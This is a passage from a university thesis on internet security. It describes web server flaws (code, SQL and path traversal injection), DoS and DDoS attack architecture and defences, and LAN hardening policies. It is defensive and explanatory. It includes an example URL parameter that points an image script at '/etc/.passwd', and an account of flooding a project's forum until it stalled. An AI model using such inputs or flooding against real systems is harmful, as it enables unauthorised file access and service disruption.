Client-Server communication. Whereas a PHP module will be part of the Web Server and process all the code “in-process” of the Web Server serving the page to the browser. Modules are generally faster and are executed with the same security settings as the Web Server, whereas CGI executables can be set-up to run with various user permissions, which, if used correctly, can be used to create a secure system, or, in case of human error, can be an efficient entry point into the system. 177 Based on the default configuration of the Apache Web Server and the MS IIS Server. 178 Mark W. Eichin and Jon A. Rochlis, “With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988”, Proceedings of the IEEE Symposium on Research in Security and Privacy, 1989, pp 236-343, can bee seen at http://ieeexplore.ieee.org/ - 82 - Internet Security // Kulikov Alexey @ University of Warwick was based on a version of this approach, so was the hole 179 in NCSA httpd version 1.3 for Unix. Exposures of these kinds are, to some extent, out of the hands of the system administrator, but trusting input data is a common source of trouble. For example, consider Web forms. Forms make data gathering at the client side rather straightforward and natural. Having a master form for, say, some kind of order and sending it to the client’s browser with some data already filled out is common practice. The user fills out the rest and posts the form back to the Web Server. The Web Server then, takes action based on the contents of that form, and either processes the input or prompts the user with some sort of error message. However, once the user input is processed to be stored in a database or written to a local file, unpredicted behavior may happen, such as the user entering system commands into form fields. Thus Web Server security is dependable on the Web scripts and Web applications 180 being executed on that server, regardless of the technology in which it is implemented or the security of the server or the database on which it is built 181 . The following vulnerabilities are common to Web Server applications: Code Injection Code injection vulnerabilities allow for injecting user-chosen code into a Web script. These vulnerabilities arise from none-existed or poorly designed input validation routines on the serverside. The main categories of code injection are: • • Script injection: the attack involves Web Servers that dynamically generated HTML pages via CGI. If these servers embed browser input in the dynamic pages that they send back to the browser, these servers can then be manipulated to include content on the dynamic pages that will allow malicious scripts to be executed. This attack, however, does not modify Website content, rather, it inserts new, malicious script that can execute at the victim’s browser in the information context associated with a trusted server 182 . SQL injection: An attacker creates or alters existing SQL commands to gain access to unintended data or even the ability to execute system level commands on the host 183 . Canonicalization Canonicalization vulnerabilities occur when an application makes a security decision based on a name (a filename, a folder name, a Web address), without having in mind the fact that the name may be expressed in more than one way184 . The most common way of exploiting these issues is in the form of path traversal attacks, which allow malicious user to execute commands or view data outside of the intended target path. These vulnerabilities arise normally from unchecked URL input parameters, cookies or HTTP requests. For example, carelessly written applications may display image galleries based on a parameter in the URL pointing to a local file location, such as “?image=mug”, a simple manipulation of the URL may misdirect the script into referencing other files on the system – “?image=/etc/.passwd”. HTML Manipulation HTML manipulation allows a malicious user to modify data sent between the Web browser and the Web Server, to which the user was not intended to have direct access. Parameter manipulation, such as the one described above, is often accomplished though: URL Query 179 CERT Advisory 95-04, can be seen at http://www.cert.org/advisories/CA-1995-04.html Such as Web-based e-mail clients. 181 D. Scott, R. Sharp, “Abstracting Application-Level Web Security”, WWW2002, May 2002, can be seen at: http://www-lce.eng.cam.ac.uk/~djs55/swap/abstracting.pdf 182 Microsoft. Cross-site scripting security exposure executive summary. Can be seen at http://www.microsoft.com/technet/security/topics/ExSumCS.asp 183 For examples see: C. Anley, “Advanced sql injection in sql server applications”, Technical Teport, Next Generation Security Software, January 2002. Can be seen at http://www.nextgenss.com/papers/advanced_sql_injection.pdf 184 M. Howard, D. LeBlank, Writing Secure Code, Microsoft Press, 2001, Chapter 12, pp 165-182 180 - 83 - Internet Security // Kulikov Alexey @ University of Warwick strings, hidden form fields, cookies. Although it is neglected too often, but parameter manipulation can be easily prevented with good input validation on the server side. Denial of Service (DoS) Denial of Service attacks constitute one of the major threats and are among the hardest security problems in today’s Internet. In early February 2000, hackers used a specific type of denial of service attacks, called Distributed Denial of Service, to bring Yahoo, Amazon, CNN.com, ZDNet, and other well-known Internet sites to their knees185 . The media’s widespread coverage of these attacks has made this common hacking technique a very well known phrase. A DoS attack’s objective is to deny a user access to some type of service. In most cases, a DoS attack uses one computer to flood another computer with network traffic, specifically traffic that contains confusing messages that cause the victim computer to waste time and resources trying to understand what it has received. Ultimately, this data invasion can jam the victim computer, which ties up its communication lines and blocks legitimate visitors. Distributed Denial of Service is a very simple, yet very effective technique to attack Internet resources. DDoS attacks add the many-to-one dimension to the DoS problem making the prevention of such attacks more difficult and the impact much more severe. DDoS attacks were possible from the early days of the Internet, as they exploit the inherent weakness of the Internet’s architecture: its open resource access model, which, ironically, also happens to be its greatest advantage. Because of the seriousness of the problem many defence mechanisms have been proposed to combat these attacks, however there are pros and cons to every proposed approach, which are analysed in more detail later in this chapter. It is interesting to note, that even though denial of service attacks were technically possible from the dawn of the Internet, they became rather popular only in the second half of the nineties 186 . Probably this is due to the widespread use of the World Wide Web and mass availability of various public services such as search engines, news portals, stock quotes et cetera online. According to the WWW Security FAQ 187 a DoS attack can be described as an attack designed to render a computer or network incapable of providing normal services. A DoS attack is considered to take place only when access to a computer or network resource is intentionally blocked or degraded as a result of malicious action taken by another user. These attacks don’t necessarily damage data directly or permanently, but they intentionally compromise the availability of the resources. The most common DoS attacks target the computer network’s bandwidth188 or connectivity189 . Bandwidth attacks flood the network with such a high volume of traffic that all available network resources are consumed and legitimate user requests cannot get through, resulting in a denial of service. Connectivity attacks flood a computer with such a high volume of connection requests, that all available operating system resources are consumed, and the computer can no longer process legitimate user requests. For example, a Web Server can be out of order by a DoS attack focusing on one or more applications running on that server. It is possible for the attacker to find points of high algorithmic complexity and exploit them in order 185 CERT Coordination Center, Denial of Service attacks, available from http://www.cert.org/tech_tips/denial_of_service.html 186 This is illustrated by the fact, that the CERT DDoS directive was initially released only in October 1997, as seen in http://www.cert.org/tech_tips/denial_of_service.html 187 The World Wide Web Security FAQ available from http://www.w3.org/Security/FAQ/ 188 The amount of data that can be transmitted in a fixed amount of time. For digital devices, the bandwidth is usually expressed in bits per second (bps) or bytes per second. Suppose a Web Server’s bandwidth is limited to 1 mega-bits per second (1 000 000). Suppose an average web page “weighs” around 10 000 bits, thus the Web Server will be able to serve 100 web pages per second (assuming the Web Server has unlimited resources, apart from bandwidth). Thus in case 200 requests are made per second, then every second request will not be satisfied with content. 189 The maximum number of connections a computer system can handle in a given amount of time (capacity of a Web Server’s connection request queue i.e. number of open TCP requests that can be handled). - 84 - Internet Security // Kulikov Alexey @ University of Warwick to consume all available resources on a remote Web Server. I have successfully used this technique to bring down a recent third year computer science project www.mywcs.co.uk (during project security testing) by constantly adding high volumes of messages to the site’s discussion forum, at first the Web application became immensely slow, after all it totally stalled once the database was filled with over 10 000 000 messages. Another type of DoS attack simply attempts to use the bandwidth available to the network, host or device, by sending massive quantities of data and so causing it to process extremely large amount of network requests. An attacker could attempt to use up the available bandwidth of a network by simply bombarding the targeted victim with normal, but meaningless packets with spoofed source addresses. An example is flood pinging. Simple flooding is commonly seen in the form of DDoS attacks, which are discussed below. Now, Distributed Denial of Service attacks are just a bit more tricky in practice than traditional DoS. According to the WWW Security FAQ 190 : “A DDoS attack uses many computers to launch a coordinated DoS attack against one or more targets. Using client/server technology, the perpetrator is able to multiply the effectiveness of the DoS significantly by harnessing the resources of multiple unwitting accomplice computers, which serve as attack platforms”. The DDoS attack is the most advanced form of DoS attacks. It is distinguished from other attacks by its ability to distribute its “attacking force” all over the Internet, therefore creating lethal traffic that is capable of shutting down almost any public Internet service. DDoS attacks mainly take advantage of Internet architecture and this is what makes them even more powerful. The Internet was designed with functionality and reliability, not security in mind, thus, thanks to technological lock- in, Denial of Service attacks are possible and were practiced effectively from the first days of the net. Distributed denial of service attacks were always possible and almost definite to succeed due to a number of factors: • • • Internet Security is highly interdependent. No matter how secure a victim’s system may be, whether or not this system will be a DDoS victim depends on the rest of the global Internet. 191 Internet resources are limited. No Internet host has unlimited resources that sooner or later can be consumed by a sufficient number of users. Many against a few. If the resources of attackers are greater that the resources of the victims then the success of the attack is almost definite. 190 The World Wide Web Security FAQ available from http://www.w3.org/Security/FAQ/ CERT Coordination Center, Trends in Denial of Service attack technology, October 2001, available from http://www.cert.org/archive/pdf/DoS_trends.pdf 191 - 85 - Internet Security // Kulikov Alexey @ University of Warwick Fig. 7: Architecture of a DDoS attack A distributed denial of service attack is composed of four elements, as shown in figure 1: • • • The real attacker The handlers or masters, which are compromised hosts with a special program running on them (perhaps a trojan horse, see chapter 5 for a thorough description), capable of controlling multiple agents. The attack daemon agents or zombie hosts, who are compromised hosts that are running a special program and are responsible for generating a stream of packets towards the intended victim. Those machines are commonly external to the victims’ own network, to avoid efficient response from the victim 192 , and external to the network of the attacker, to avoid liability if the attack is to be traced back. The following steps take place while preparing and conducting a DDoS attack: 1. Selection of agents. The attacker chooses the agents that will perform the attack. These machines need to have some vulnerability that the attacker can use to gain access to them. They should also have enough resources that will enable them to generate powerful attack streams. At the beginning this process was performed manually, but it was soon automated by scanning tools. Nowadays, it is common to see trojan horses to be unwittingly installed inside computers by unaware users, which help conduct the DDoS attack. For example, agent software can be built into a typical screensaver, thus, whenever the system is idle it will use its resources to select and control new agents or even attack the victim’s host. 192 One can effectively block incoming network traffic based on IP address allocation. - 86 - Internet Security // Kulikov Alexey @ University of Warwick 2. Compromise. The attacker exploits the security holes and vulnerabilities of the agent machines and plants the attack code. Furthermore he tries to protect the code from discovery and deactivation. Self-propagating tools such as the Ra men worm193 and Code Red 194 soon automated this phase. The owners and users of the agent systems typically have no knowledge that their system was compromised and that they will be taking part in a DDoS attack. When participating in a DDoS attack, each agent program uses only a small amount of resources (both in memory and bandwidth), so that the users of computers experience minimal change in performance of their systems. 3. Communication. The attacker communicates with any number of handlers to identify which agents are up and running, when to schedule attacks, or when to upgrade agents. Depending on how the attacker configures the DDoS attack network, agents can be instructed to communicate with a single handler or multiple handlers. 4. Attack . At this step the attacker commands the onset of the attack. The victim, the duration of the attack as well as special features of the attack such as the type, length, target et cetera can be adjusted. The variety of the properties of attack packets can be beneficial for the attacker in order to avoid detection. The early DDoS attacks were manual. This means that the DDoS strategy included the scanning of remote machines for vulnerabilities, breaking into them and installing the attack code. All of these steps were later automated by the use of semi- automatic DDoS attacks and automatic DDoS attacks. In semi-automatic attacks the attacker scans and compromises the handlers and agents by using automated scripts (see chapter 5). In automatic attacks the communication between the attacker and the agent machines is completely avoided. In most cases the attack phase is limited to a single command. All the features of the attacks, for example the duration and the victim’s address, are preprogrammed in the attack code. This way the attacker has minimal exposure and the possibility of revealing his identity is small. Defense problems DDoS attacks are a hard problem to solve. First, there are no common characteristics of DDoS streams that can be used for their detection. Moreover, their distributed nature makes it immensely hard to trace them back to the source. Moreover, the automation tools are freely available on the Internet and new tools are being developed daily. Attackers may also use IP spoofing in order to hide their true identity, and this makes traceback even more difficult. Intrusion Prevention DDoS defense strategies may be split into three categories: intrusion prevention, intrusion detection and intrusion response. The best strategy against any attack is, of course, to completely prevent the attack. Meaning that one may try to stop the DDoS attack from being launched in the first place. However, due to technological lock- in on the architecture of the Internet, it is impossible to do so, yet a number of steps can be taken to ease the situation. The majority of approaches in this area are simple data filters to be employed at the data routers of the network. There are a variety of filtering paradigms, such as ingress filtering 195 , egress filtering196 , routebased distributed packet filtering 197 and others. All of which basically focus on letting some kinds of data through to the servers and simply dumping other incoming data, thus rendering the DDoS attack obsolete. However, filters must be able to let legitimate traffic through, therefore an 193 CIAC Information Bulletin, The Ramen Worm, available from http://www.ciac.org/ciac/bulletins/1-040.shtml CERT Coordination Center, “Code Red worm exploiting buffer overflow in IIS indexing service DLL”, CERT Advisory CA 2001-19, available from http://www.cert.org/advisories/CA-2001-19.html 195 Proposed by Ferguson and Senie in P. Ferguson, D. Senie, “Network ingress filtering: defeating Denial of Service attacks which employ IP source address spoofing”, in: RFC 2827, 2001. 196 Global Incident analysis Center, Egress Filtering. Available from http://www.sans.org/y2k/egress.htm 197 K. Park, H. Lee, “The effectiveness of route-based packet filtering for Distributed DoS attack prevention in power-law Internets”, Proceedings of the ACM SIGCOMM 2001, ACM Press, 2001, pp. 15-26 194 - 87 - Internet Security // Kulikov Alexey @ University of Warwick attack may succeed in case it comes from a large variety of sources. Therefore this protection mechanism has a rather limited application scope, it may very well protect against a typical denial of service attack, yet will completely fail in case a vast majority of traffic is initiated by legitimate sources. Another approach to combating DDoS attacks was recently suggested by Geng and Whinston198 , they suggest constantly changing the IP address of the attacked machine. This is called moving target defense. Once the IP change has been completed and all Internet routers have been informed, attacker’s traffic aiming at a non-existent destination will simply be ignored. Although this function leaves computers vulnerable because the attacker can easily launch the attack aiming at the new IP address. This option is practical for local DDoS attacks, which are based on IP addresses. On the other hand, attacker can improve their approach by adding a domain name service tracing function to the DDoS attack tools. Other common approaches include load balancing 199 i.e. sharing the overall load over a closed network of syndicated servers and a wide use of so-called honeypots, which are basically systems that are set up with limited security and be used to trick the attacker to attack the honeypot and not the actual system. The concept of honeypots, their development history and applications is discussed in detail in chapter 7. Intrusion Detection Intrusion detection seems to be a very active research area. By performing intrusion detection a host computer and a network can guard themselves against a source of network attack as well as being a victim of a DDoS attack. Intrusion detection systems detect DDoS attacks either by using the database of known signatures or by recognizing anomalies in systems behavior. Anomaly detection mainly relies on detecting behaviors that are abnormal with respect to some preset standard. Many systems have been developed in order to detect the faint signs of a DDoS attack. For example, a scalable network monitoring system called NOMAD was designed by Talpade et al. 200 in 1998, when first DDoS attacks became massive attention of the media. This system is able to detect network anomalies by making statistical analysis of network data packer header information. It can be used for detecting the anomalies of the local network traffic; however, it will still fail in case traffic came from a large set of legitimate sources. Yet, Mirkovic et al. 201 proposed a system that may be capable of combating this problem. The systems is called DWARD, and it does DDoS attack detection at the source based on the idea that DDoS attacks should be stopped as close to the sources as possible. D-WARD is installed at the edge routers of a network and monitors the traffic being sent to and from the hosts in its interior. In case an asymmetry in the data packet rates generated by an internal host is noticed, then D-WARD limits the throughput channel to this host. The obvious drawback of this approach is that there is a possibility of false positives, such as direct audio or video streams or massive downloads. There are numerous other intrusion detection mechanisms 202 that have been developed in the recent years, however none of them are 100% secure against a DDoS attack. Intrusion Response 198 X. Geng, A. B. Whinston, “Defeating Distributed Denial of Service attacks”, IEEE IT Professional, Vol. 2, 2000, pp. 36-42 199 R. B. Less, Taxonomies of Distributed Denial of Service networks, attacks, tools and countermeasures. Available from http://www.ee.princeton.edu/~rblee/ 200 R. R. Talpade, G. Kim, S. Khurana, “NOMAD: Traffic based network monitoring framework for anomaly detection”, Proceedings of the fourth IEEE Symposium on Computers and Communication, 1998, pp. 442 – 451, can bee seen at http://ieeexplore.ieee.org/ 201 J. Mirkovic, G. Prie r, P. Reiher, “Attacking DDoS at the Source”, Proceedings of ICNP 2002, Paris, France, 2002, pp. 312-321 202 Such as MULTITOPS – T. M. Gil, M. Poleto, “MULTITOPS: a data-structure for bandwidth attack detection”, Proceedings of 10th Usenix Security Symposium, Washington DC, August 2001, pp 23-38, or Data Mining – W. Lee, S. J. Stolfo, K. W. Mok, “A data mining framework for building intrusion detection models”, Proceedings of the 1999 IEEE Symposium on Security and Privacy, Oakland, Ca, May 1999, pp. 120-132, can bee seen at http://ieeexplore.ieee.org/ - 88 - Internet Security // Kulikov Alexey @ University of Warwick Once an attack is identified, the immediate response is to identify the attack source and block all the traffic originating from that source. The blocking part is usually performed under manual control, since an automated response system might cause even further Web service failure in case of a false alarm. Automated intrusion response systems do exist, but they are deployed only after a period of self- learning or testing. There is a number of approaches that target the tracing and identifying of the real attack source, which are very well discussed by P. Zaroo 203 . Generally the network administrator will use IP traceback, which traces the attack back towards its origin, so that one can find out the true identity of the attacker. There are, however, numerous factors that may render this process difficult, such as the distributed nature of the attack, or IP spoofing. At a very basic level one can think of this as a manual process in which the administrator of the network under attack places a call to his ISP asking for the direction from which the packets are coming. However, since manual traceback is very tedious there have been various proposals in the recent past to automate this process 204 . However, no matter how savvy the network administrator is, it is impossible to prevent or stop a DDoS attack completely, therefore, one must focus on minimizing the attack impact and on maximizing the quality of services. Conclusion Web Servers are fine programs, but innovative applications delivered over the World Wide Web require that servers can be extended with custom-built programs. Unfortunately, these programs can have flaws that allow attackers to compromise a system. The Common Gateway Interface was the first and remains the most popular means of extending Web Servers with functionality. Largely as a result of their power, CGI can completely compromise the security of a Web Server and the host on which it is running. That is mainly because any program can be run through these interfaces. This can include programs that have security problems or programs that outsiders access to the system. Two techniques may be used to limit the damage that can be performed by CGI programs: • • The programs must be inspected by the system administrators to ensure that they can perform only the desired functions. The programs should be run in a restricted environment, namely the Web Server must be configured carefully such that the possible damage done by a CGI process is limited. However, some system administrators fail to configure a more or less secure Web Server. Yet even in case the Web Server is fail proof from a CGI process it can still be compromised via a DDoS attack. Undoubtedly, DDoS attacks present a serious problem in the Internet and challenge its rate of growth and wide acceptance by the general public, government and businesses. One great advantage of the development of DDoS attack and defense classifications is that effective communication and cooperation between researchers can be achieved so that additional weaknesses of DDoS attacks can be identified. These classifications need to be continuously updated and expanded as new threats and defense mechanisms are discovered. Moreover, DDoS attacks are not only a serious threat to Web services over wired networks, but also for wireless infrastructures. Some progress was made in order to defend wireless networks against DDoS attacks205 . Yet, further work is needed that combines well known security 203 P. Zaroo, “A Survey of DDoS attacks and some DDoS defense mechanisms”, Advanced Information Assurance (CS626), available at: http://www.cs.purdue.edu/homes/zaroo/papers/my_papers/ddos_paper.pdf 204 Such as: S. Bellovin, “The ICMP traceback message”, available from http://www.research.att.com/~smb/papers/draft-bellovin-trace.txt; or S. Savage, D. Wetheral, A. Karlin, T. Anderson, “Network Support for IP Traceback”, IEEE/ACM Transaction on Networking 9, 2001, pp. 206-237 available from http://www.csd.uch.gr/~hy558/papers/savage-traceback-sigcomm00.pdf 205 X. Geng, Y. Huang, A. B. Whinston, “Defending wireless infrastructure against the challenge of DDoS attacks”, Mobile Networks and Applications, Issue 7, 2002, pp 213-223, can be seen at http://cism.bus.utexas.edu/works/articles/DDoS_ACM_final2_all.pdf - 89 - Internet Security // Kulikov Alexey @ University of Warwick drawbacks of wireless protocols with defense techniques that are already well-established in a wireless environment. Chapter Summary • • • • • • • • • • • • • • • • • • 206 Web Servers are a special breed of software that is run on any Internet host and is used to server HTML pages to requesting clients. In case the server is connected to the Internet, it is automatically exposed to the whole world. Unfortunately, this increased visibility can have some unwanted side effects. Web Servers were developed only in early nineties as more and more common users went online. The problems that open up security holes in Web Servers are various, but most of them spring up from either server misconfiguration, bugs in Web applications or denial of service attacks. All Web Server software, regardless of platform or manufacturer, unintentionally hides a number of vulnerabilities, which allow the application to be used in a different way than originally intended. Misconfiguration of software was a common problem even before Web Servers. There are good accounts of common mistakes in Clifford Stoll’s book “The Cuckoo's Egg”. Many system intrusions talked about in the media were based on a simple strategy where the attacker sent data to a program that the program couldn’t handle. These can be referred to as bugs, or programming errors. Common applications bugs allow Code Injection, Cano nicalization and HTML injection. Denial of Service attacks constitute one of the major threats and are among the hardest security problems in today’s Internet. A DoS attack’s objective is to deny a user access to some type of service. In most cases, a DoS attack uses one computer to flood another computer with network traffic, specifically traffic that contains confusing messages that cause the victim computer to waste time and resources trying to understand what it has received. According to the WWW Security FAQ 206 : “A DDoS attack uses many computers to launch a coordinated DoS attack against one or more targets. Using client/server technology, the perpetrator is able to multiply the effectiveness of the DoS significantly by harnessing the resources of multiple unwitting accomplice computers, which serve as attack platforms”. Internet Security is highly interdependent. No matter how secure a victim’s system may be, whether or not this system will be a DDoS victim depends on the rest of the global Internet. The early DDoS attacks were manual, today they are fully automatic and use malware for successful selection of agents. DDoS attacks are a hard problem to solve. First, there are no common characteristics of DDoS streams that can be used for their detection. Moreover, their distributed nature makes it immensely hard to trace them back to the originating source. DDoS defense strategies may be split into three categories: intrusion prevention, intrusion detection and intrusion response. Once an attack is identified, the immediate response is to identify the attack source and block all the traffic originating from that source. DDoS attacks cannot be stopped, they will always be a potential threat to any system. Web Servers are fine programs, but innovative applications delivered over the World Wide Web require that servers can be extended with custom-built programs. The World Wide Web Security FAQ available from http://www.w3.org/Security/FAQ/ - 90 - Internet Security // Kulikov Alexey @ University of Warwick Unfortunately, these programs can have flaws that allow attackers to compromise a system. - 91 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 7 - 92 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 7 — Building a Secure LAN The phenomenon of widespread electronic intrusion is very recent. It is made possible by the spread of personal computers and their connection to electronic networks. Although technically sophisticated, intrusions are always the act of human beings. Intrusions, however, can be controlled by a combination of technical safeguards, but they cannot be eliminated. It would seem that some straightforward technological fixes would greatly reduce future threats. But technological fixes are not the final answer. They are valid only until someone launches a new kind of attack. Changes in the ways we use computers, however, will reduce our exposure to our own and others’ mistakes. It is hard to build and implement a secure system, moreover, as outlined in previous chapters 100% secure systems simply do not exist, but it should be the central aim of every System Administrator to reach an adequate level of security for the computer network on guard. In this chapter I am aiming to draw a line underneath all the concepts introduced in the previous chapters in order to propose a feasible and scalable security policy/strategy that could be used to secure information in the modern business world. An IT security policy/strategy of some LAN is built with some system model in mind. As already outlined in chapter one of this thesis: various security models exist, with the OSI model dominating the perception of security on the Internet today. Yet I have proposed a different perspective in this field, where I have identified five fronts, which are responsible for information security. These five fronts have to be guarded simultaneously, thus they form a Pentagon (Fig. 1), which is easier to perceive as a model, rather than the not applicable in the modern world OSI model, which is more of a data flow diagram rather than a picture of how things are working together simultaneously. Fig 1 The Pentagon of Internet Security The Pentagon is a collaboration of five fronts, each being of uttermost importance, meaning that a failure to protect any given side of the Pentagon will result in the failure of the security system as a whole. Next is a short overview of how one might approach the security of a LAN in a company or some institution, where information safety is of high importance. Server OS Chapter two gave a thorough overview of the security evolution of server Operating Systems (OS). I have taken an insight into a couple of well-known attacks, which were aimed at the - 93 - Internet Security // Kulikov Alexey @ University of Warwick server OS. Moreover I have presented many possible flaws an Operating System has these days. Yet it must be pointed out, that I have only focused on UNIX based systems, as according to Netcraft nine out of ten servers on the web run some breed on UNIX. Windows Server was left out intentionally, as a) its history doesn’t span over three and a half decades in comparison to Unix, as it was first commercially released only in the mid- nineties; b) it does not represent the majority of servers under attack (there is a discussion about this in chapter five as well); c) while it has avoided some of the logical flaws brought in by Unix, it has introduced other problems, which, unfortunately, can only be fixed by Microsoft and not the community as a whole (i.e. Windows is not Open Source). The security of any given OS has to be transformed into an endless process, which is to be carried out by the System Administrator according to some pre-defined security policy. I am suggesting the following approach: • • • • • • • • • Run system-updates on a weekly basis. Unix based system used to be hard to update, as one had to stay alert in order to track down updating information. Nowadays the process has been automated. As an example, the Debian Linux (one commonly used as an OS to support the rather well known Apache Web Server) has an automatic script called “aptget” which downloads and installs new packages from the developer’s server. No one shall be allowed to login using the “root” account, as changes are then hard to trace. Instead the “su” command shall be used to grant temporary super user rights to the logged in user. Keep the number of shell accounts down to an absolute minimum. Ideally there shall be only five accounts registered on the system i.e. root, www, mail, ftp and an account for the system administrator. E- mail delivery can be organized without the use of shell accounts 207 , this will limit the scope of work of the system administrator. Software daemons, that are not well known to the Internet community shall not be used. In case the use of such a daemon is inevitable, then they shall be isolated on a designated machine, which is not included in the “trust” network of the LAN. System accounts that interact with local daemons shall have minimal access privileges. An example of such an account is the “www” user, in the name of which the Web Server (discussed later) serves web pages to all the requesting clients. All accounts shall create files and directories readable by them and their group only. Public access to files/directories (i.e. anything above 770) must only be granted when there is a necessity for such access (web pages and temporary files). Trust networks are to be limited to a minimum. In case several machines are linked together in order to share disk space, then a trust network is not necessary, files can be shared via a set of stand-alone tools (such as rsync). In cases where several machines are to share processing power, they are to be locked away behind a firewall208 . Nonetheless the trust network is to be perceived as a “single machine”, as access to any machine on the network will automatically mean access to all machines. Moreover, a firewall is of little help in case the intruder undertakes an attack from the LAN. Password selection policies are discussed in the “People” section of this chapter. Moreover, an analysis of “weak” passwords can be found in chapter two. Ideally systems not needing access to the network, shall not have network access and be operated locally. As an alternative solution, the system may be booted without a remote 207 For example, the PUBLIC Voice Lab in Austria (http://pvl.at/) is using an internally developed tool which hooks up all the mail delivery jobs to a database, where storage paths are stored. Users accessing their e-mail are not authenticated as shell users, but are directed through a mail daemon, which fetches data according to local database records. For more info download and test PVL’s Self Admin package – http://inspire.pvl.at/solutions/sadm/ 208 The concept of firewalls has been left out of the scope of this thesis intentionally. Read chapters two and three for references to explanatory reading. - 94 - Internet Security // Kulikov Alexey @ University of Warwick • access shell, making its resources available for the network, yet not leaving any chance for anyone to even attempt a remote login. Services such as database applications shall deny any remote connections. Instead a tunneling application shall be used to build up local connections (eg. PHP+MySQL). The above set of guidelines are all common sense security precautions that are met by savvy system administrators. Yet it is by far not complete without links from the other fronts of the Pentagon of security. Especially important is the tie between OS security and the Human Elements of Internet Security. The tie between the two is investigated in the “People” section of this chapter. Web Server One of the prevailing applications of the Internet today is the World Wide Web, consisting of hundreds of millions of web pages. Some pages are static, some are dynamic, but what they all have in common is some breed of Web Server software, which delivers the data to the client machines via a Web Browser. Whereas Unix-based OS make up most of the Internet, there are quite a few Web Servers running on the World Wide Web. According to Netcraft 209 the Apache Web Server is delivering around 70% of all web pages on the net today (March 2005), with ZEUS, MS Internet Information Server and Sun serving the rest. Thus my suggestion for a security policy may be a little biased towards the Apache Web Server as I have several years experience in administering it. As already pointed out in chapter six – most problems that are brought in with a Web Server are inherent to low quality application configuration. For example the Apache Web Server210 allows to override all configuration options using an “.htaccess” file inside user’s “www” directories. The extent of override directive’s power can be, of course, limited, yet many system administrators find it easier to simply allow overrides without investigating the depth of possible options. The list below is a brief policy, which any System Administrator shall follow, when configuring a Web Server. • • • • • 209 210 Limit the use of override directives (“.htaccess” file in Apache Web Server), such that they are disabled as default and enabled only for users, who request their activation. Overrides shall, of course, be limited to one system folder (and it’s subfolders), and be not applicable to any other user’s spaces. Override directive files shall always be protected i.e. not servable to the outside world by the Web Server. Shell users shall not be granted with public web space by default. Moreover, as it has already been pointed out in the previous section of this chapter – the amount of shell users should be kept to an absolute minimum. In case the presence of shell users is mandatory and these users wish to maintain web pages, then these shall be limited to minimal functionality. For example, the Apache Web Server has a whole set of “UserDir Access Directives”, which shall be investigated in the httpd.conf file of the Web Server in question. The Web Server typically comes equipped with a set of extensions, most of which are not used. Thus extensions that are not needed shall be deactivated. In order to prevent high loads, the Web Server must be configured to accept a limited number of connections. The Apache Web Server, for example, typically allows only 100 simultaneous connections. It may not sound as a very high- load figure, yet such a bottleneck pays off in the sense, that the server cannot be taken down by a DDoS attack http://news.netcraft.com/archives/web_server_survey.html http://www.apache.org/ - 95 - Internet Security // Kulikov Alexey @ University of Warwick • • • • immediately. There will be time to react and take the necessary measures in order to prevent full server disability. Every System Administrator shall be careful and be ready to prevent the Web Server to runaway and take the whole system down with it as it spirals down. One of the main problems with any Web Server lies with custom code, that is written and run by the user in his/her private web space. Ideally one would want to limit the ability of any system user to use any kind of scripting language, yet static web pages are a trend of the past. Thus it is usual to see ISPs giving their users access to powerful scripting languages such as PHP, Perl, .NET, Java and others in conjunction with a Database Management System (such as MySQL, MSSQL, PostgreSQL and others). Extreme care must be taken in the configuration of these applications. o For example one can and must limit system related functionality of PHP (such as the “exec” and “system” functions, as they provide a tunnel to shell). o The amount of e- mail that a script can send shall be limited as well. o PHP must be run in “safe- mode” (it will be executed in the name of a special user, thus disallowing access to the rest of the file system). o “Magic Quotes”211 must be enabled in the scripting language. o Ideally one would want to control the quality of the user’s code, yet in high load systems this is a very costly procedure. Thus it is advisable for the System Administrator to check the average system load a user’s script generates. In case the load gets noticeably high – code shall be inspected. o Every user should be isolated to his/her own database with a DB user, which is granted limited access privileges. In case an injection should occur, only part of the data will be lost/modified/stolen, whereas the overall system will not be penetrated. Web Server software must be updated on a regular basis. The System Administrator si to check the overall system load generated by the Web Server and it’s child processes. The Web Server may not take the whole system down and shall be stopped in case such a possibility exists. High load sites will usually be hosted on more than one machine, which will be accessed via a load balancer212 . It is important to keep a separate machine on “cold-standby”. Once a trace of a DoS attack is spotted by the system administrator, then the extra processing power can be brought in to combat additional traffic, while the issue is resolved. While the above is a good set of security policies applicable to most Web Servers on the Internet today, it must be taken into account, that any Web Server software runs on some operating system, thus it is consuming the OS’s resources and has access to the file tree of the computer. In most scenarios the same System Administrator will be responsible for the installation, finetuning and tech support of the Web Server and the underlying OS. This is another lead towards the end of this chapter, where the “Human Factor” is discussed in conjunction with other sides of the Pentagon. Transport Channel Looking back at the first chapter – any web connection involves two parties: usually a server and a client. These are linked together with the aid of a “transport channel”, which is in most cases a TCP/IP network. Unfortunately, the Internet was originally designed in order to share and not protect information, thus the TCP/IP network protocol does not provide us with any solutions to secure the data, while it is traveling from point A to point B. Meaning that in almost all cases 211 Inside all of the user input all special characters that may result in code injection will be automatically escaped with a backslash, these include “,’,/, et cetera. 212 A hardware solution to route client requests to various machines. Typically these machines synchronize each other’s data, thus they appear as one single Web Server to the outside world. - 96 - Internet Security // Kulikov Alexey @ University of Warwick user names and passwords flow as clear text over the Internet. Anyone savvy in network technology can intercept this data, while it is in transit. Moreover, even script kiddies can download special software to monitor data in a LAN. Besides the problem of traffic interception there is also a potential threat of traffic alteration. For example e- mail messages may be altered with fictitious content. Yet there are various technological solutions, which conceal most of the traffic from the outside world, one of these being Virtual Private Networks (VPN), which establish secure (read encrypted) connections between hosts on the Internet. For more details on VPNs refe r to this chapter’s appendix. Nonetheless I will still attempt to suggest a policy, which, if followed precisely, shall minimize the chance of a successful attack on a LAN: • • • E-mail o In order to make sure that the e- mail has not been altered along its way from point A to point B – always use digital signatures. o Ideally all e-mail shall be encrypted as well. Yet this may not be possible when communicating with people outside of the LAN. Nonetheless, encryption of all email communication must be encouraged. Moreover this task can be automated and will not in any way whatsoever affect the performance of any LAN user. Internal e-mail relays can be configured not to route any clear text e- mail to its destination. o E- mail must not be retrieved using the POP3 protocol. IMAP shall be used instead, such that data is never replicated. It is easier to protect it centrally. o Alongside with the IMAP protocol, secure authentication and connection shall be used for all e- mail communication between the client and the server. o Ideally e- mail must not be accessible from outside of the LAN. This is easily achievable in case a VPN is installed and no web-based e-mail is available. For personal communication people are encouraged to use purely web-based services such as Google Mail 213 . Intranet/LAN Servers o Make sure that all web traffic in the LAN is passed via SSL. This will protect the data from being sniffed 